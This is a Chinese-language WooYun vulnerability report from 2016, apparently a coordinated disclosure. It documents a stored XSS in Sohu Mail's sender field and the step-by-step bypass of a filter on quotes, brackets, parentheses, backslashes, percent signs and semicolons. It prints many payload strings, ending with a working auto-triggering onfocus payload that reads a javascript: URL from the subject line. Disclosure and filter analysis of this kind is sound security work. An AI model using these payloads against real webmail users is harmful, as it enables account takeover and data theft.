当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167250

漏洞标题:搜狐邮箱储存型XSS(对 " < > ( ) [ ] \ % ; 都有过滤)

相关厂商:搜狐

漏洞作者: px1624

提交时间:2016-01-04 17:41

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-04: 细节已通知厂商并且等待厂商处理中
2016-01-04: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向核心白帽子及相关领域专家公开
2016-01-24: 细节向普通白帽子公开
2016-02-03: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

一次很经典的黑盒XSS绕过分析,过滤这么多最终还是搞定了,这姿势应该是乌云首个案例吧!
现在乌云太多漏洞报告都是1个url+1张图片的形式了,希望以后能有比较多的像二哥那样的技术分享型的漏洞报告。

详细说明:

1 开始是奔着正文富文本区域去的,测了一会没测出啥给力的东西,然后随手给from参数的这里前面加了个 "><img src=x onerror=alert(1)>

1.png


2 看了下源码,发现过滤了,但是看到这个过滤结果,我感觉有戏,于是继续研究。

2.png


3 这里测试后发现,这里的from参数还不能随便改,必须要满足是以@sohu.com这种邮箱的形式结尾的才可以。

3.png


到现在,其实还是没啥情况的,根据上面过滤的情况来看,看情况这里是把" > < 这些直接过滤掉了,看来想要突破尖括号是不太可能了。这里试试能不能摸清这个双引号的过滤规则,然后在进行突破后,从而在td标签内部构造XSS。
4 然后就进行了一番测试。
输入 " onfocus="alert(2)"@sohu.com 会返回下面情况。

4.png


继续测试 " onfocus=alert(2)@sohu.com 会返回下面的情况。

5.png


经过一番测试后,发现这样可以突破 " onfocus="alert(2)//@sohu.com 会返回下面的情况。

6.png


5 上图中可以看到,已经突破双引号了,但是发现这里把括号 () 给过滤了啊。
不慌,用location='javascript:alert%281%29' 或者 location='javascript:alert\x281\x29' 不就行了呗。

输入 " onfocus="location='javascript:alert%281%29'//@sohu.com 返回下面情况。

7.png


输入" onfocus="location='javascript:alert\x281\x29'//@sohu.com 返回下面情况。

8.png


擦,貌似又给全部过滤了。
6 在这里捣鼓了很久,还是没能找出过滤机制,然后想到前面最开始是用的"><img src=x onerror=alert(1)>@sohu.com进行测试的,又回到这个姿势,看看><这些符号能不能绕过这里的机制。
输入了个 "><img onfocus=location='javascript:alert\x281\x29'//>@sohu.com
竟然有了不一样的返回情况了!
然而并没有什么卵用,因为反斜线\被过滤了。

9.png


然后又试了试 "><img onfocus=location='javascript:alert%281%29'//>@sohu.com 果然不出所料,百分号%也被过滤了。会返回下面的情况,直接输出不解析了。

10.png


html的编码也试了试,会直接从分号;位置截断,然后直接输出不解析。
比如输入"><img onfocus=location='javascript:alert&#40;1&#41;'//>@sohu.com 会返回下面情况。

11.png


7 到现在已经测了一个多小时了,到这一步,其实蛮蛋疼的,因为这里对 "<>()\%; 都有不同程度的过滤机制。
符号 "<>()\%; 这么多都不能用,那要怎么构造xss啊,其实最蛋疼的还是括号用不成。
看来这里想要直接构造是没戏了,只能换个思路了,能不能把js代码和给分开写。
看到二哥之前有过案例,在一个点限制比较多的时候,就转移到另一个点构造,比如将代码转到name位置,然后用this.name
类似于 <img name=javascript:alert(1) src=x onerror=location=this.name> 这样
但是这里的this.name的限制是和这个插入点一模一样啊,所以此路不通。
8 不知不觉已经搞了2个多小时了,头晕晕的,感觉走到一条不归路上了。百度翻了翻,也没找到啥好的灵感,自己也想不到啥好的姿势了,于是只能使出绝招了(那就是打开QQ, call一下二哥问问)。
果然柳暗花明又一村啊,二哥不愧是XSS之神啊,表示这个很好弄啊,this.name用不了了,你就location=xx.yy.zz.mm.innerHTML 就这样,找一个可以用的位置就可以了。
9 好吧,整理整理思路,继续搞,由于这个插入点是在发件人的位置,所以此页面可控的位置貌似就只有一处,就是标题这里。因为正文的内容在这里是不加载的,不然的话正文的富文本当然是最佳位置了。

12.png


10 寻找了下,这个测试点是在邮件列表的发件人的位置的缺陷,这里貌似只有邮件标题这个位置可以有想法了去组合构造下了。数一数,这个标题的<td>标签就是这个插入点的父节点的第9个元素。

13.png


那么就构造试试 "><img onfocus=location=this.parentNode.children[8].innerText//>@sohu.com
this.parentNode 会获取到这个插入点的父节点(也就是tr标签里面的节点),然后在children[8]就是获取这个节点的第9个元素,然后再innerText就可以获取到这个元素的文本部分的内容了。然后标题文本位置写入javascript:alert(1) 这样就可以构造成功一个XSS了,开心。
结果没想到中括号[]也被过滤了,直接从 [ 的位置给断成2部分了!

14.png


11 此时已经搞了3小时了吧,放平心态,继续分析。这里等于又不能用中括号[]了,那么换个姿势吧,继续看下面内容之前,这里先普及下js的DOM树节点的知识。
firstElementChild 第一个子元素节点
lastElementChild 最后一个子元素节点
nextElementSibling 下一个兄弟元素节点
previousElementSibling 前一个兄弟元素节点
这样在不能使用大括号[]的时候,就可以用firstElementChild 和 nextElementSibling组合,或者lastElementChild 和 previousElementSibling 组合来定位到自己想获取的那个元素了。

这里父节点一共有11个元素,我们想要获取的标题是排在第9个的,那么很明显用lastElementChild 和 previousElementSibling 组合比较方便,先去获取父节点,然后再获取最后一个,再获取前一个的前一个的text部分内容,那么代码就变成了。
"><img onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>@sohu.com
12 看下代码,终于成功写入了,但是并没有执行,因为这里只是随手用onfocus测试的,要想执行,还要加入tabindex=0才可以。

15.png


那么根据解析的情况改下代码。
"><tabindex=0 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>@sohu.com
到这一步,在谷歌浏览器下,右键点击收件人这里,已经可以触发了。

16.png


13 不过搞了这么久,还要去右键点击,貌似很鸡助啊,所以我们还要想办法突破让其自动触发。这里要试着突破后构造这个让所有标签都适用的一个代码。
通杀所有标签的一个xss payload
<aaaa id="c" onfocus="alert(1)" tabindex=0>
访问地址的时候,后面需要加上#c
比如htm地址为http://xxxxxxxx.htm
那么XSS地址为http://xxxxxxxx.htm#c
观察下搜狐邮箱的收件箱的url是http://mail.sohu.com/bapp/177/main#mailList_1,那么也就是说,只要给这里代码在加入个 id=mailList_1 那么就可以自动触发了额!
14 但是事实往往不会这么简单,通过前面第一次插入的 "><img src=x onerror=alert(1)>@sohu.com的结果来看,这里想在目前代码的基础上直接再多写进个id属性是不可能的。
因为 "><img src=x onerror=alert(1)>会解析为 <td title="" img="" src="xonerror=alert&quot;@mx177.mail.sohu.com&quot;"的这种形式,也就是说直接用空格分隔,只能写进去最多2个属性。
然后这里我尝试用/去分隔"><img/src=x onerror=alert(1)>,会解析成 <td title="" img="" src="x" onerror="alert&quot;@mx177.mail.sohu.com&quot;" 看起来貌似可以,但是写成这样后。
"><tabindex=0/id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>@sohu.com
因为有了等号,就又会悲剧掉。

17.png


15 试了好多种姿势,都不行,后来我干脆就把这些被过滤的标签都试试,看看能不能出现因为过滤,导致某种解析上的问题从而写进元素。
"><tabindex=0<>id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com
"><tabindex=0[id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com
"><tabindex=0<id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com
......
终于,发现下面 [] 这个貌似可以截断,但是后面空格位置又会出问题。
"><tabindex=0[]id=mailList_1 onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624%40sohu.com

18.png


那么=试试 "><tabindex=0[]id=mailList_1[]onfocus=location=this.parentNode.lastElementChild.previousElementSibling.previousElementSibling.innerText//>px1624@sohu.com
发现成功写入了,看来这里的逻辑[]可以拿来当分隔的空字符使用了。

19.png


16 点击收件箱触发,具体原理如上图所示。收件箱的 #mailList_1 会根据id将焦点定位到td标签这里,然后触发onfocus,从而执行location,然后执行dom获取操作,然后获取到标题处的文本,从而形成XSS。

20.png


现在基本上支持DOM的主流浏览器就都可以通杀了,IE8以前的老版本IE浏览器下DOM控制的代码要稍微变下,属于兼容问题。如下即可
"><tabindex=0[]id=mailList_1[]onfocus=location=this.parentNode.lastChild.previousSibling.previousSibling.innerText//>px1624@sohu.com

21.png


当然写个外部js也完全不成问题,如下图,这里要注意下javascript:后面的js代码要先进行下url编码,不然会被从中间截断掉。

22.png

漏洞证明:

最终耗时了半天的时间成功搞定了。
总结:
多尝试,多思考,遇到困难了去百度,实在卡住前进不了了,就call二哥吧。

修复方案:

对过滤逻辑进行修改。

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-04 20:26

厂商回复:

感谢支持。

最新状态:

暂无